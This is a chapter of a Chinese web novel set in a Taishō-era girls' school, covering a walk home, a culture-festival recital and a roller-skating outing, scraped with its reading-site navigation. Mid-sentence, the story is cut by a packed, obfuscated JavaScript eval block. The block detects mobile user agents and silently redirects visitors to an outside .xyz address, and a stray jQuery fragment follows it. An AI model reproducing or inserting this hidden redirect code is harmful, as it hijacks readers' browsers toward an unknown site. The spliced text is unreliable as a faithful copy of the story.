默认冷灰
24号文字
方正启体

5. 为你而来

作者:一梣一本书字数:K更新时间:
    “在如今这种走出学校就要匆忙嫁人的动荡世道,渴望Soeurs降临到自己头上,也算是一种抚平内心不安的捷径呢。身处优渥的环境里,也稍微收敛一点过度的自我意识,睁开眼看看外面的世界如何?还是说,阳子有什么特别的期待和追求吗?”


    “不、不是……”


    “在烦恼什么呢?比如——其实你也很羡慕这样的关系,正压抑着不安的嫉妒心吧?”


    堇子那种富于黏性和润泽的声音,如恶魔般在耳畔低沉地响起。话语如同一朵水花般炸响,阳子慌忙后退几步,却不小心撞倒了谱架。被三言两语地彻底击溃了。


    离开部活室的阳子在走廊灯下伫立良久,神经质地盯着足尖。而几米开外的拐角另一侧,等待良久的由理与堇子会面后,亲昵地走下楼梯。


    因为部活持续到很晚,这天没有课后的额外行程,堇子约定将由理送回家再分开。


    在月光照不到、也没有人注意的黑暗街区,堇子毫无预兆地挽住由理的手。她的掌心温暖而厚实,几乎可以将由理小巧却冰凉的手整个儿包进去。


    与冰冷沉静的外表不同,私底下的堇子在由理面前展露出了意外的活泼一面,一路上灵巧地掌握着话题的主动,引导由理的回应。包括文化祭的排练、自己近日的趣闻、幼时在法国的生活、多姿多彩的外部世界之类,想到哪里提到哪里。对由理而言宛如一个踏上名为“今出川堇子”的新大陆的过程,于是默默地倾听记下。


    还远远不够——相处中,由理深刻意识到了横亘在两人之间的沟渠之深。从堇子那里了解到的,那个漂洋过海、精彩纷呈的外部世界,对自己而言仿佛梦一般神秘却遥远,带着危险的吸引力,几乎要将她脆弱的心魂吸走。隐秘的卑怯之心随之不由自主地滋长,令人心神剧烈动摇,她只得握紧堇子的手,勉力维持清醒。


    今日的话题一反常态地早早结束。由理从身旁人拖长的呼吸声中,感知到了对方的疲惫。但不善言辞的由理暂且想不到什么好的安抚前辈的方式,好几次欲言又止。


    步履向前,很快来到了由理在下町的住处,是松平子爵名下的一处老屋。陈设很老旧,光线也昏暗,唯独面积算得宽敞。除却看守的侍卫官,只有由理与一个做监护人的老仆常在。堇子是第二次来这里,每一次都停在大门外,目送由理进去。这天,由理却在门口停住,脚步踌躇不前,忍不住趁着浓重的雾色回头,大着胆子观察前辈的表情,犹疑中开口。迎上那双毫无波澜的双墨沉沉的眼睛,只说了几个字就卡住。


    “那个……”


    “嗯?”


    “前辈……”


    “要(跟我)拥抱一下吗?”


    前辈总是能从极细微的异动中轻易琢磨出她的心思。由理腼腆地点点头,一方面为两人的心意相通而雀跃,一方面又悲哀于自己在堇子跟前那么愚直笨拙。


    朦胧的月光下,堇子轻快地走过来,力道适中地抱了一下由理。她玲珑的圆脸靠在堇子侧颈,发着青白的光。由理还照例穿着堇子那件宽大的二尺袖的校服,但怀里的身子很瘦弱,堇子只觉得衣服底下虚笼笼,尽是空气。


    “谢谢前辈。那么……再见!”


    “再见。”


    由理在堇子怀里呆不到三秒钟。然后飞快地道谢、分开,为刚才这么一个稍显亲昵的举动而心脏狂跳,也不敢仰头去看堇子的眼睛,转头进了家门。


    处于确认对方安危的立场,堇子在原地等了一会,直到房间里亮起灯光、幛子上现出影影绰绰的人影这才离开。


    不久,为其三天的文化祭演出活动热闹地展开,如同烟花般发出巨大响动彰显存在感,很快地落下帷幕。结束了四手联弹的阳子与堇子一起鞠躬,迎接观众的掌声。


    当天是学校开放日,台下人头攒动的黑影中不仅有学生,还有□□、职工、外面的小商贩或者什么其他。直起身的一瞬间,阳子心中微动——一道窥探的目光朝她面门袭来。是一种堂堂正正,却将自身隐藏在人群里的视线。是友好的视线,令阳子莫名有种熟悉的感觉。活动总算结束了,她的一颗浮游在空中的心脏缓缓落在坚实的地面。


    走下台,阳子匆忙地整理妆容、收拾好随身物品、归还了礼服,与众人一一道了别,远离了后台热烈讨论今晚大家要去哪儿放松的氛围,朝大礼堂后门开溜。


    高波真子靠在停放于路缘石一侧的自行车旁,正歪着头朝礼堂内侧张望。四目相接那一刻,阳子立刻就意识到熟悉的目光源自何处了。


    “诶?高波前辈怎么在这里?”


    “演奏会结束了,准备走来着。”


    “……绕到后门来,在等人吗?”


    “只是稍微有点好奇,后台是什么样子。”


    “没什么特别的……全是人,拿着道具走来走去,又暗又乱。”


    “但是台上的阳子很漂亮。穿着带亮片的礼服,就像那种少女歌剧团的大明星似的,十根手指在琴键上跳舞。”


    真子伸出两只手,在空中胡乱地比划。


    阳子呆住。她不知道该如何回答这种直白得粗俗的夸奖——人生的前十几年里没有人这么对她讲话,也没有人教过要如何回应。只好含糊地用俗套的寒暄来应对。


    “没有的事……”


    “我认真的。阳子今后也会多多登台吧?”


    “谁知道呢。”


    还在继续。真子在继续泰然自若地说出羞耻的话。阳子觉得自己必须做点什么阻止——搜肠刮肚也没想到好词,索性不再停留,朝校门的方向走。


    ——明明是第二次见面,不知为何对话的进展就如同脱缰的野马,朝不可控的方向一路飞奔。


    真子耐着性子等阳子往前走出几十米远,才看准了目标似地上车、加速,然后超过她。车子最终在阳子斜前方不远处停下。真子回头,仍旧是那张斟着笑意的勾人的脸,朝她摆出邀请上后座的姿势。


    “阳子不累吗?”


    站了一天,被问到时阳子才察觉两腿发酸,想起来活动一下僵硬的脚踝。随后抛出了一个八竿子打不着的反问:“真子看了文化祭演出的全场吗?”


    “要算上前天的戏剧、昨天的舞踊会和今天的演奏会吗?没有哦。”


    阳子姑且放慢了脚步。


    “我对大家业余性质的自娱自乐没有兴趣呢。但是,今天的节目单上写着阳子的名字,有些在意。”真子从包里拿出一张宣传单,只有阳子参与的合奏与四手联弹被用笔重重地做了标记,“只看了阳子的表演。所以说,上来吗?”


    阳子抬头,试图从真子的笑脸出看出破绽,但是没有。这位外表看起来称得上平易近人的二年级生每次出现都如此猝不及防,毫不在意礼数地想到哪里说到哪里,也毫不顾忌听者的感受与立场。


    那些关于她的奇怪的妖魔化的传言,说不定有一部分是如此直接的性格招惹的怨恨所致吧。


    阳子小心地跳上了铺着一层软垫的自行车后座。真子眼中闪过了一丝得逞的精光——太赤裸太堂正了,仿佛把“专门为你而来”这几个字写在脸上,以至于阳子心中的纠结无处发作。


    “还是那排雕花的铜栅栏吗?”


    真子管绫小路宅叫“雕花的铜栅栏”。上一次,夜间骑车的她没有捕捉到阳子家的模样,只记起了马路旁一整排雕花的铜栅栏,在夜空中发着幽微的光,庄重高贵中透出一丝沉淀过久的腐朽气息。微光折射下,阳子的脸透出淡淡的青紫色。


    现在要回家休息吗?阳子抬头看看天,距离太阳落山还有一段时间。真子捕捉到她眼中闪过的犹豫,立即接上:“稍微在外面逗留一下如何?”


    “高波……前辈有想去的地方吗?”


    被对方那过于直接随意的风格所感染,阳子差一点就直呼其名,连“さん”都不加。


    “别这样叫我,怪难听的。真子。阳子不是知道吗?就叫我真子。”


    “真子前辈……”


    “唉,算了。”


    “……真子。去哪里?”


    尽全力抛却了长久以来的习惯,最后连敬语都抛弃了。几乎快用上在自宅对佣人的随意口吻。对阳子来说以往这是不可想象的——但真子是不讲道理的外来者,极不礼貌地长驱直入阳子费心搭建起的结界,仗着对方的涵养不会拒绝,一再用各种方式朝她暗示:把千篇一律的外皮收起来吧,给我看一点真实的部分,随便什么都好——


    “这样顺耳多啦。阳子喜欢做什么?喝不喝咖啡?或者去凌云阁看看风景散散心?对了,这会儿装饰博览会还开着,有很多新奇的西洋玩意。阳子会轮滑吗?去海


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609408|172132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水浴场吗?哦,那种地方你可能不会习惯。也可以去向岛的都内庭院看花,去浅草看轻歌剧。阳子喜欢做什么?”


    有备而来的真子抛来一大堆令人眼花缭乱的选择,又重复了一遍问题。作为虔诚的室内派,阳子涉猎的项目极其有限,以往闲暇时间的主要外出不是陪着姐姐逛三越,就是偶尔去帝剧看戏。阳子并不希望显露出自己对时髦娱乐方式的陌生,但转念一想,在真子面前放弃了伪装。


    “去……吃点什么吧?喝咖啡也可以的。”


    “走吧,我想到了一个好地方。”真子雀跃的声音在耳畔响起,自行车很快驶出校门。“总而言之,去见识一下。”


    经过约半小时的车程,车子停在了浅草公园附近的一家露天轮滑场旁。这里下町风情浓厚,房屋低矮、人流密集,阳子并不常来。而对滑轮这种新奇的运动,阳子只从姐姐那里听说过,有乐町的“东京室内轮滑场”很有人气,贵族们也常去——但那是一幢阔气的高层建筑,二楼有带皮质沙发的高档咖啡厅作为观看席。


    ……而不是眼前这片杂草丛生、喧闹吵杂的露天空地,周围只有两排简陋的水泥台阶作为观看席。不远处分布着一些卖炒面、冷饮的小商贩,叫卖声此起彼伏。


    “想试试吗?”


    轻车熟路地从案内所租到轮滑鞋和手套,真子一边穿一边询问。阳子坐在一旁观看,尽管眼中流露出雀跃,最终还是轻轻摇了摇头。


    “……那阳子先在这里坐一会儿。”


    真子没有为难后辈,戴着手套轻点了一下阳子的肩,随即冲进轮滑场——阳子的视线起初跟得不是很紧密,差点丢失真子的踪迹,半天才从东北角重新“捕捉”到目标。


    ——不愧是被叫做“野犬”的女人。她的体育课成绩应当很好。阳子心想——真子张开双臂,在轮滑场里驰骋往来,速度比大多数人都快,娴熟得像是专业的运动员。风将她的袴裙与衣袖吹得飘起,露出结实的小腿肌。像一只自由自在的飞鸟,飞快地掠过人堆后飞走——隔着老远阳子也能想象真子此刻的恣意与从容,仿佛她在这里生了根。


    在场中滑了几个大圈,真子直直回到阳子身边,扶着她肩膀停住。


    “怎么样?觉得刺激吗?要不要试试?”


    “那、好吧。”


    面露难色的阳子做不到直接推拒,在真子帮助下手忙脚乱地穿上了轮滑鞋。她摇摇晃晃地试图从台阶上站起来,下一秒钟就不受控制地往前倒,整个人的重心落在了真子身上——被稳稳地按住了肩膀。


    “跟我来。”真子在她耳边说。


    阳子像在自行车上那样小心地攀着真子的后背,视线一刻也不离开她的侧脸,就这样被“拖”着进了轮滑场。


    人、人、人——人头攒动。人怎么那么多,在观看席上时完全意识不到。红的绿的灰的彩的,嬉笑与喧哗,都“咻”地一声从身边经过。袴裙被吹到小腿往上的位置,风往四肢百骸里灌,阳子没工夫管——真子扬起来的茶色发丝贴在她脸边,像海草般迷乱地游弋、飘动。


    四肢略微舒展了一点,在被真子带着绕场两圈后。阳子小心地让自己的身体控制在真子后方不到半尺的距离,被借势带着继续在人群中,如成群结队的游鱼中的一小尾,来回穿梭。直到四肢百骸神经末梢都传来淋漓酣畅的舒爽之感,真子才把阳子带回了台阶旁。


    “有趣吧?”


    “……太危险了,叫人害怕。”


    阳子斟酌着用词,尽管身心神清气爽,也不愿轻易表示赞许。但她已经又热又累,气喘吁吁地坐下来,双手撑着地面,毫无形象地大口喘气。


    这时的真子意外地会看眼色、见好就收。她交还了轮滑设备,又陪阳子坐了十几分钟,两人痛快地分食了一碗什锦甜凉粉。糯米团子上盖着赤小豆、洋粉和杏子,淋上一点琥珀色的黑糖蜜水,用玻璃碗盛着,是简单的平民点心。


    果然不该对食物期待太多,阳子想。遗憾的是,她挑剔的舌头只吃出了腻人的甜味——豆子煮得稀烂,不甚新鲜的黑糖蜜水加得太多,团子浸水太久没了弹性,一点儿也不爽口。已经稍许开裂的玻璃碗绝不是巴卡拉牌。但阳子还是不动声色地吃得干干净净,眉头都没皱一下。在首次尝试的轮滑体验带来的巨大新鲜感面前,这种遗憾不足一提。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)